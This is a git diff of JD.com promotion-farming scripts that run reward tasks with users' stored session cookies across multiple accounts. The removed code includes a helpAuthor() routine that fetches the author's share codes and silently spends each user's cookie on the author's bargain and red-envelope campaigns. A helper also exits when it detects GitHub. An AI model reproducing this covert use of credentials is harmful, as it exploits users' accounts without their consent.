(err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_getBusinessCircleList() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_getBusinessCircleList'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//加入商圈API -function smtg_joinBusinessCircle(circleId) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_joinBusinessCircle', { circleId }), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_businessCircleIndex() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_businessCircleIndex'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_receivedPkTeamPrize() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_receivedPkTeamPrize', {"channel": "1"}), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//领取商圈PK奖励 -function smtg_getPkPrize() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_getPkPrize'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_quitBusinessCircle() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_quitBusinessCircle'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//我的货架 -function smtg_shelfList() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_shelfList'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//检查某个货架可以上架的商品列表 -function smtg_shelfProductList(shelfId) { - return new Promise((resolve) => { - console.log(`开始检查货架[${shelfId}] 可上架产品`) - $.get(taskUrl('smtg_shelfProductList', { shelfId }), (err, resp, data) => { - try { - // console.log(`检查货架[${shelfId}] 可上架产品结果:${data}`) - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//升级商品 -function smtg_upgradeProduct(productId) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_upgradeProduct', { productId }), (err, resp, data) => { - try { - // console.log(`升级商品productId[${productId}]结果:${data}`); - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - console.log(`升级商品结果\n${data}`); - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//解锁商品 -function smtg_unlockProduct(productId) { - return new Promise((resolve) => { - console.log(`开始解锁商品`) - $.get(taskUrl('smtg_unlockProduct', { productId }), (err, resp, data) => { - try { - // console.log(`解锁商品productId[${productId}]结果:${data}`); - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//升级货架 -function smtg_upgradeShelf(shelfId) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_upgradeShelf', { shelfId }), (err, resp, data) => { - try { - // console.log(`升级货架shelfId[${shelfId}]结果:${data}`); - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - console.log(`升级货架结果\n${data}`) - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//解锁货架 -function smtg_unlockShelf(shelfId) { - return new Promise((resolve) => { - console.log(`开始解锁货架`) - $.get(taskUrl('smtg_unlockShelf', { shelfId }), (err, resp, data) => { - try { - // console.log(`解锁货架shelfId[${shelfId}]结果:${data}`); - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_ground(productId, shelfId) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_ground', { productId, shelfId }), (err, resp, data) => { - try { - // console.log(`上架商品结果:${data}`); - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_productList() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_productList'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_lotteryIndex() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_lotteryIndex', {"costType":1,"channel":1}), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_drawLottery() { - return new Promise(async (resolve) => { - await $.wait(1000); - $.get(taskUrl('smtg_drawLottery', {"costType":1,"channel":1}), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function sortSyData(a, b) { - return a['upgradeCostGold'] - b['upgradeCostGold'] -} -function sortTotalPriceGold(a, b) { - return a['previewTotalPriceGold'] - b['previewTotalPriceGold'] -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(resolve => { - console.log(`第${$.index}个京东账号的助力码:::${jdSuperMarketShareArr[$.index - 1]}`) - if (jdSuperMarketShareArr[$.index - 1]) { - newShareCodes = jdSuperMarketShareArr[$.index - 1].split('@'); - } else { - console.log(`由于您未提供与京京东账号相对应的shareCode,下面助力将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); - newShareCodes = shareCodes[tempIndex].split('@'); - } - console.log(`格式化后第${$.index}个京东账号的助力码${JSON.stringify(newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - // console.log('\n开始获取东东超市配置文件\n') - notify = $.isNode() ? require('./sendNotify') : ''; - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - //IOS等用户直接用NobyDa的jd cookie - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`); - // console.log(`东东超市已改版,目前暂不用助力, 故无助力码`) - // console.log(`\n东东超市商圈助力码::${JSON.stringify(jdSuperMarketShareArr)}`); - // console.log(`您提供了${jdSuperMarketShareArr.length}个账号的助力码\n`); - resolve() - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function getTeam() { - return new Promise(async resolve => { - $.getTeams = []; - $.get({url: `http://jd.turinglabs.net/api/v2/jd/supermarket/read/100000/`, timeout: 100000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} supermarket/read/ API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.getTeams = data && data['data']; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000); - resolve() - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?appid=jdsupermarket&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, - headers: { - "Host": "api.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Origin": "https://jdsupermarket.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://jdsupermarket.jd.com/", - "Cookie": cookie - } - } -} -/** - * 生成随机数字 - * @param {number} min 最小值(包含) - * @param {number} max 最大值(不包含) - */ -function randomNumber(min = 0, max = 100) { - return Math.min(Math.floor(min + Math.random() * (max - min)), max); -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -//==========================以下是给作者助力 免费拿,省钱大赢家等活动====================== -async function helpAuthor() { - await barGain();//免费拿 - await bigWinner();//省钱大赢家 -} -async function barGain() { - let res = await getAuthorShareCode2('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_barGain.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_barGain.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode2('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_barGain.json') - } - $.inBargaining = [...(res && res['inBargaining'] || [])] - $.inBargaining = getRandomArrayElements($.inBargaining, $.inBargaining.length > 3 ? 6 : $.inBargaining.length); - for (let item of $.inBargaining) { - if (!item['activityId']) continue; - const options = { - url: `https://api.m.jd.com/client.action`, - headers: { - 'Host': 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://h5.m.jd.com', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': cookie, - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdapp;iPhone;9.4.0;14.3;;network/wifi;ADID/;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone10,3;addressid/;supportBestPay/0;appBuild/167541;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html`, - 'Accept-Language': 'zh-cn', - }, - body: `functionId=cutPriceByUser&body={"activityId": ${item['activityId']},"userName":"","followShop":1,"shopId": ${item['shopId']},"userPic":""}&client=wh5&clientVersion=1.0.0` - }; - await $.post(options, (err, ersp, data) => {}) - } -} - -async function bigWinner() { - let res = await getAuthorShareCode2('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/bigWinner.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/bigWinner.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode2('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/bigWinner.json') - } - $.codeList = getRandomArrayElements([...(res || [])], [...(res || [])].length); - for (let vo of $.codeList) { - if (!vo['inviter']) continue - await _618(vo['redEnvelopeId'], vo['inviter'], '1'); - await _618(vo['redEnvelopeId'],vo['inviter'], '2') - } -} - -function _618(redEnvelopeId, inviter, helpType = '1', linkId = 'PFbUR7wtwUcQ860Sn8WRfw') { - return new Promise(resolve => { - $.get({ - url: `https://api.m.jd.com/?functionId=openRedEnvelopeInteract&body={%22linkId%22:%22${linkId}%22,%22redEnvelopeId%22:%22${redEnvelopeId}%22,%22inviter%22:%22${inviter}%22,%22helpType%22:%22${helpType}%22}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, - headers: { - 'Host': 'api.m.jd.com', - 'accept': 'application/json, text/plain, */*', - 'origin': 'https://618redpacket.jd.com', - 'user-agent': 'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'accept-language': 'zh-cn', - 'referer': `https://618redpacket.jd.com/?activityId=${linkId}&redEnvelopeId=${redEnvelopeId}&inviterId=${inviter}&helpType=1&lng=&lat=&sid=`, - 'Cookie': cookie - } - }, (err, resp, data) => { - resolve() - }) - }) -} -function getAuthorShareCode2(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000) - resolve(); - }) -} -function getRandomArrayElements(arr, count) { - let shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} // prettier-ignore function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_wish.js b/jd_wish.js index 9cd6226..7f557be 100644 --- a/jd_wish.js +++ b/jd_wish.js @@ -1,29 +1,17 @@ /* 众筹许愿池 活动入口:京东-京东众筹-众筹许愿池 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===============Quantumultx=============== -[task_local] -#众筹许愿池 -40 0,11,19 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js, tag=众筹许愿池, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -================Loon============== -[Script] -cron "40 0,11,19 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js,tag=众筹许愿池 -===============Surge================= -众筹许愿池 = type=cron,cronexp="40 0,11,19 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js -============小火箭========= -众筹许愿池 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js, cronexpr="40 0,11,19 * * *", timeout=3600, enable=true +cron "12 0,15 * * *" script-path=jd_wish.js,tag=众筹许愿池 */ + const $ = new Env('众筹许愿池'); const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let message = '', allMessage = ''; -//IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = ''; const JD_API_HOST = 'https://api.m.jd.com/client.action'; -let appIdArr = ["1E1NUxq2G","1E1xZy6s","1EFRXxg","1EFRWxKuG","1FFVQyqw"]; -let appNameArr = ["空投","PLUS生活特权","1","2","3"]; +let appIdArr = ['1FFVQyqw','1EFRWxKuG', '1E1xZy6s']; +let appNameArr = ['1111点心动','许愿抽好礼', 'PLUS生活特权']; let appId, appName; $.shareCode = []; if ($.isNode()) { @@ -47,16 +35,9 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; message = ''; - await TotalBean(); - console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + for (let j = 0; j < appIdArr.length; j++) { appId = appIdArr[j] appName = appNameArr[j] @@ -65,16 +46,7 @@ if ($.isNode()) { } } } - if (allMessage) { - if ($.isNode()) await notify.sendNotify($.name, allMessage); - $.msg($.name, '', allMessage) - } - let res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/6dylan6/updateTeam@main/shareCodes/wish.json') - if (!res) { - $.http.get({url: 'https://cdn.jsdelivr.net/gh/6dylan6/updateTeam@main/shareCodes/wish.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/6dylan6/updateTeam@main/shareCodes/wish.json') - } + let res = []; $.shareCode = [...$.shareCode, ...(res || [])] for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { @@ -133,7 +105,6 @@ async function jd_wish() { await interact_template_getLotteryResult() await $.wait(2000) } - if (message) allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${appName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` } catch (e) { $.logErr(e) @@ -142,7 +113,7 @@ async function jd_wish() { async function healthyDay_getHomeData(type = true) { return new Promise(async resolve => { - $.post(taskUrl('healthyDay_getHomeData', { "appId": appId, "taskToken": "", "channelId": 1 }), async (err, resp, data) => { + $.post(taskUrl('healthyDay_getHomeData', {"appId":appId,"taskToken":"","channelId":1}), async (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) @@ -151,51 +122,36 @@ async function healthyDay_getHomeData(type = true) { if (safeGet(data)) { data = JSON.parse(data); if (type) { - for (let key of Object.keys(data.data.result.hotTaskVos).reverse()) { - let vo = data.data.result.hotTaskVos[key] - if (vo.status !== 2) { - if (vo.taskType === 13 || vo.taskType === 12) { - console.log(`点击热区`) - await harmony_collectScore({ "appId": appId, "taskToken": vo.simpleRecordInfoVo.taskToken, "taskId": vo.taskId, "actionType": "0" }, vo.taskType) - } else { - console.log(`【${vo.taskName}】已完成\n`) - } + for (let key of Object.keys(data.data.result.hotTaskVos).reverse()) { + let vo = data.data.result.hotTaskVos[key] + if 